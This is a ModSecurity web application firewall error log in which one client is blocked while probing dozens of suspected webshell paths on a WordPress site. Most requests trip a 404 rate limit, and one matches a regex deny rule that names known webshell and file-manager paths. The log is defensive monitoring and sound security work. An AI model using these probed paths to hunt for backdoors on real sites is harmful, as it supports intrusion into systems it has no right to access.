[Tue Dec 02 23:31:39.598697 2025] [:error] [pid 3649:tid 3728] [client 20.196.108.177:20451] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aS8GW7wjL4uqC6YFjxHLgAAAAJE"]
[Tue Dec 02 23:31:40.051684 2025] [:error] [pid 3647:tid 3664] [client 20.196.108.177:20358] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aS8GXFJaqGDFgh_0XI_YkAAAAAs"]
[Tue Dec 02 23:31:40.525908 2025] [:error] [pid 48650:tid 48665] [client 20.196.108.177:20466] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aS8GXIQuWSn3xrJsXbn8KQAAAco"]
[Tue Dec 02 23:31:41.015246 2025] [:error] [pid 3648:tid 3707] [client 20.196.108.177:20448] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aS8GXeQEp5icp6XOJr0x2wAAAFc"]
[Tue Dec 02 23:31:41.544338 2025] [:error] [pid 3649:tid 3734] [client 20.196.108.177:20425] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sko.php"] [unique_id "aS8GXbwjL4uqC6YFjxHLhAAAAJc"]
[Tue Dec 02 23:31:41.897744 2025] [:error] [pid 5273:tid 5306] [client 20.196.108.177:20460] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sko.php"] [unique_id "aS8GXSMmXO5H1kNwHHWHKgAAAYQ"]
[Tue Dec 02 23:31:42.286929 2025] [:error] [pid 5273:tid 5323] [client 20.196.108.177:20359] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sko.php"] [unique_id "aS8GXiMmXO5H1kNwHHWHKwAAAZU"]
[Tue Dec 02 23:31:46.090292 2025] [:error] [pid 5232:tid 5249] [client 20.196.108.177:20373] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sko.php"] [unique_id "aS8GYgApmO-auDy1ob4pmwAAAQ8"]
[Tue Dec 02 23:31:46.510212 2025] [:error] [pid 5272:tid 5287] [client 20.196.108.177:20362] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aS8GYuwbFoRzPGfZYVSQgQAAAUw"]
[Tue Dec 02 23:31:47.047372 2025] [:error] [pid 5273:tid 5305] [client 20.196.108.177:20439] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aS8GYyMmXO5H1kNwHHWHMwAAAYM"]
[Tue Dec 02 23:31:47.644395 2025] [:error] [pid 3648:tid 3688] [client 20.196.108.177:20366] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aS8GY-QEp5icp6XOJr0x3gAAAEQ"]
[Tue Dec 02 23:31:48.271579 2025] [:error] [pid 5272:tid 5276] [client 20.196.108.177:20219] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aS8GZOwbFoRzPGfZYVSQgwAAAUE"]
[Tue Dec 02 23:31:48.674214 2025] [:error] [pid 5273:tid 5312] [client 20.196.108.177:20406] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aS8GZCMmXO5H1kNwHHWHNgAAAYo"]
[Tue Dec 02 23:31:49.088576 2025] [:error] [pid 5232:tid 5254] [client 20.196.108.177:20443] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aS8GZQApmO-auDy1ob4pngAAARQ"]
[Tue Dec 02 23:31:49.538639 2025] [:error] [pid 5273:tid 5310] [client 20.196.108.177:20084] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aS8GZSMmXO5H1kNwHHWHOQAAAYg"]
[Tue Dec 02 23:31:50.037104 2025] [:error] [pid 3760:tid 3774] [client 20.196.108.177:19932] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aS8GZljLYEjdWVcKgVWZ9gAAAMw"]
[Tue Dec 02 23:31:50.416176 2025] [:error] [pid 5273:tid 5302] [client 20.196.108.177:20468] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aS8GZiMmXO5H1kNwHHWHPgAAAYA"]
[Tue Dec 02 23:31:51.160788 2025] [:error] [pid 3647:tid 3671] [client 20.196.108.177:20436] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aS8GZ1JaqGDFgh_0XI_YlAAAABI"]
[Tue Dec 02 23:31:51.852693 2025] [:error] [pid 3649:tid 3720] [client 20.196.108.177:19958] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aS8GZ7wjL4uqC6YFjxHLiAAAAIk"]
[Tue Dec 02 23:31:52.168984 2025] [:error] [pid 5232:tid 5252] [client 20.196.108.177:20408] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aS8GaAApmO-auDy1ob4poQAAARI"]
[Tue Dec 02 23:31:52.496222 2025] [:error] [pid 3647:tid 3672] [client 20.196.108.177:20014] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aS8GaFJaqGDFgh_0XI_YlwAAABM"]
[Tue Dec 02 23:31:52.933541 2025] [:error] [pid 3647:tid 3667] [client 20.196.108.177:20024] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aS8GaFJaqGDFgh_0XI_YmQAAAA4"]
[Tue Dec 02 23:31:53.474908 2025] [:error] [pid 3648:tid 3692] [client 20.196.108.177:20379] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aS8GaeQEp5icp6XOJr0x5wAAAEg"]
[Tue Dec 02 23:31:53.923082 2025] [:error] [pid 3647:tid 3660] [client 20.196.108.177:20052] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aS8GaVJaqGDFgh_0XI_YmgAAAAc"]
[Tue Dec 02 23:31:54.270321 2025] [:error] [pid 3647:tid 3654] [client 20.196.108.177:20479] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aS8GalJaqGDFgh_0XI_YmwAAAAE"]
[Tue Dec 02 23:31:54.640839 2025] [:error] [pid 3647:tid 3655] [client 20.196.108.177:19967] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aS8GalJaqGDFgh_0XI_YnAAAAAI"]
[Tue Dec 02 23:31:55.051429 2025] [:error] [pid 3647:tid 3666] [client 20.196.108.177:19987] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aS8Ga1JaqGDFgh_0XI_YngAAAA0"]
[Tue Dec 02 23:31:55.416225 2025] [:error] [pid 3648:tid 3684] [client 20.196.108.177:20467] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aS8Ga-QEp5icp6XOJr0x7gAAAEA"]
[Tue Dec 02 23:31:55.770825 2025] [:error] [pid 3647:tid 3664] [client 20.196.108.177:20382] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aS8Ga1JaqGDFgh_0XI_YoAAAAAs"]
[Tue Dec 02 23:31:56.277279 2025] [:error] [pid 3647:tid 3675] [client 20.196.108.177:20414] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aS8GbFJaqGDFgh_0XI_YogAAABY"]
[Tue Dec 02 23:31:57.020217 2025] [:error] [pid 3648:tid 3702] [client 20.196.108.177:20056] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aS8GbeQEp5icp6XOJr0x8gAAAFI"]
[Tue Dec 02 23:31:57.411424 2025] [:error] [pid 3648:tid 3700] [client 20.196.108.177:19988] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aS8GbeQEp5icp6XOJr0x9AAAAFA"]
[Tue Dec 02 23:31:57.781210 2025] [:error] [pid 5272:tid 5277] [client 20.196.108.177:20033] [client 20.196.108.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aS8GbewbFoRzPGfZYVSQjAAAAUI"]
[Tue Dec 02 23:31:58.130994 2025] [:error] [pid 48650:tid 48664] [client 20.196.108.177:20069] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "aS8GboQuWSn3xrJsXbn8QAAAAck"]
[Tue Dec 02 23:31:58.478789 2025] [:error] [pid 48650:tid 48677] [client 20.196.108.177:20333] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "aS8GboQuWSn3xrJsXbn8QQAAAdY"]
[Tue Dec 02 23:31:58.857823 2025] [:error] [pid 5232:tid 5249] [client 20.196.108.177:20304] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "aS8GbgApmO-auDy1ob4ppwAAAQ8"]
[Tue Dec 02 23:31:59.391397 2025] [:error] [pid 3649:tid 3724] [client 20.196.108.177:19969] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/r4f_1.php"] [unique_id "aS8Gb7wjL4uqC6YFjxHLlAAAAI0"]
[Tue Dec 02 23:31:59.861484 2025] [:error] [pid 3649:tid 3721] [client 20.196.108.177:20364] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aS8Gb7wjL4uqC6YFjxHLlQAAAIo"]
[Tue Dec 02 23:32:00.189985 2025] [:error] [pid 48650:tid 48675] [client 20.196.108.177:20447] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aS8GcIQuWSn3xrJsXbn8SgAAAdQ"]
[Tue Dec 02 23:32:00.493236 2025] [:error] [pid 3648:tid 3693] [client 20.196.108.177:20196] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aS8GcOQEp5icp6XOJr0x_AAAAEk"]
[Tue Dec 02 23:32:00.827410 2025] [:error] [pid 3649:tid 3733] [client 20.196.108.177:20458] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aS8GcLwjL4uqC6YFjxHLmgAAAJY"]
[Tue Dec 02 23:32:01.263833 2025] [:error] [pid 5232:tid 5237] [client 20.196.108.177:19919] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aS8GcQApmO-auDy1ob4prwAAAQM"]
[Tue Dec 02 23:32:01.622593 2025] [:error] [pid 5273:tid 5311] [client 20.196.108.177:20361] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aS8GcSMmXO5H1kNwHHWHSQAAAYk"]
[Tue Dec 02 23:32:02.028766 2025] [:error] [pid 5273:tid 5312] [client 20.196.108.177:20066] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aS8GciMmXO5H1kNwHHWHSgAAAYo"]
[Tue Dec 02 23:32:02.515283 2025] [:error] [pid 48650:tid 48679] [client 20.196.108.177:20188] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aS8GcoQuWSn3xrJsXbn8TwAAAdg"]
[Tue Dec 02 23:32:02.835694 2025] [:error] [pid 5273:tid 5323] [client 20.196.108.177:20446] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aS8GciMmXO5H1kNwHHWHTQAAAZU"]
[Tue Dec 02 23:32:03.189002 2025] [:error] [pid 3648:tid 3687] [client 20.196.108.177:19990] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aS8Gc-QEp5icp6XOJr0x_wAAAEM"]
[Tue Dec 02 23:32:03.559512 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20339] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aS8Gc4QuWSn3xrJsXbn8UgAAAc0"]
[Tue Dec 02 23:32:03.926799 2025] [:error] [pid 5232:tid 5246] [client 20.196.108.177:20087] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aS8GcwApmO-auDy1ob4pswAAAQw"]
[Tue Dec 02 23:32:04.442861 2025] [:error] [pid 5232:tid 5239] [client 20.196.108.177:20023] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aS8GdAApmO-auDy1ob4ptAAAAQU"]
[Tue Dec 02 23:32:04.866836 2025] [:error] [pid 5272:tid 5288] [client 20.196.108.177:20327] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aS8GdOwbFoRzPGfZYVSQjwAAAU0"]
[Tue Dec 02 23:32:05.191909 2025] [:error] [pid 3647:tid 3655] [client 20.196.108.177:19970] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aS8GdVJaqGDFgh_0XI_YqQAAAAI"]
[Tue Dec 02 23:32:05.623390 2025] [:error] [pid 3649:tid 3720] [client 20.196.108.177:20370] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aS8GdbwjL4uqC6YFjxHLoAAAAIk"]
[Tue Dec 02 23:32:06.042498 2025] [:error] [pid 3649:tid 3719] [client 20.196.108.177:19984] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aS8GdrwjL4uqC6YFjxHLoQAAAIg"]
